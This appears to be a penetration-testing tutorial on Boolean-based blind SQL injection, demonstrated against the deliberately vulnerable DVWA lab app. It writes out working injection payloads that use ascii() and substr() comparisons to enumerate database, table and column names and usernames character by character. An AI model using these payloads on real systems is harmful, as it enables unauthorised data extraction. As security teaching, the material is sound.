Sometimes there is no visible error message on the page when an SQL query fails, making it difficult for an attacker to get information from the vulnerable application. However there is still a way to extract information. Boolean based sql injection is an inferential type sql injection.
In a Boolean-based SQL injection attack, we simply ask questions from the database in the form of “true or false” statements. A true statement returns a different result than a false statement, so based upon this, we are able to enumerate and extract information present in the database. A true statement means that the information that we are asking for is present inside the database; a false statement would mean it is not present. To generate a true or false statement, we can use the AND/OR statement and inspect the response that the website returns.
Exploiting Boolasn Based SQL Injection
For demonstration we are going to use DVWA Vulnerable Web App. To know more about DVWA or install it on your system pleas visit the Setting up Web Pentesting Lab. At DVWA we are going to use the SQL Injection example for the demonstration and also set the security level to low in DVWA.
In this example if we put the user ID then it will show the details of user.
Now when we try to break the query and inject our sql query like Error based injection, then it will show nothing, which means this web application may have consists Blind SQL Injection vulnerability.
To exploit Blind SQL injection vulnerability, we need to ask the database a series of true or false questions. And when the asked question is true then the database will successful run its query otherwise not. For example, normally the above application takes user ID as input. Now with the user ID we also provide our question or query, like below
1' and <Our_Query(Question)>
And when our question is true then the database will execute query and further proceed, otherwise not. For example , we know that the database name is “dvwa”, we can check this by below query
1' and ((select database())) = "dvwa" #
And if will change the database to something else, then the web application will not respond.
1' and ((select database())) = "abcd" #
And in case if we don’t know the database name then we can guess or enumerate the name by using ASCII table and some sql functions.
substr() function : The substr() function returns the specified number of characters from a particular position of a given string. Example :
select substr((select database()), 1, 1);
At above example the first query select database() returns the name of database ‘dvwa’, and the second query select substr((select database()), 1, 1); returns only ‘d’. And the below query will return ‘v’.
select substr((select database()), 2, 1);
And if we continue to increase the 2 to 3, 4… then it next characters.
ascii() function : The ASCII() function returns the ASCII value of the character. Example :
Now if we put the query substr((select database()), 1, 1) inside the ascii() then it will return 100.
Because the ascii value of ‘d’ is 100. Now by using this technique we can guess the database name by one by one character, like below
select (ascii(substr((select database()), 1, 1))) = 100;
As we can see the above query return true(1). and if we change the above query, like this
select (ascii(substr((select database()), 1, 1))) = 101;
then it returns false(0), because the ascii value of ‘d’ is 100 and we are comparing it with 101. But the below query will return true. because, 100 is less then 101.
select (ascii(substr((select database()), 1, 1))) < 101;
Now lets try this technique on the Web Application. First lets guess the database name :
1' and (select (ascii(substr((select database()), 1, 1))) < 101) #
1' and (select (ascii(substr((select database()), 1, 1))) = 100) #
Now by using above method we can enumerate the database name. Below are the syntax to enumerate the table name, column name and data from the database. As we know the first table name is guestbook, and the ascii value of g is 103, then
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1)) = 103) #
and for the second table users :
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1, 1), 1, 1)) = 117) #
enumerating column name : The first column is id
1' and (ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0, 1), 1, 1)) = 105) #
Extracting user data : The first username is admin
1' and (ascii(substr((select user from users limit 0, 1), 1, 1)) = 97) #
Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. Now in next post we are going to look time based sql injection.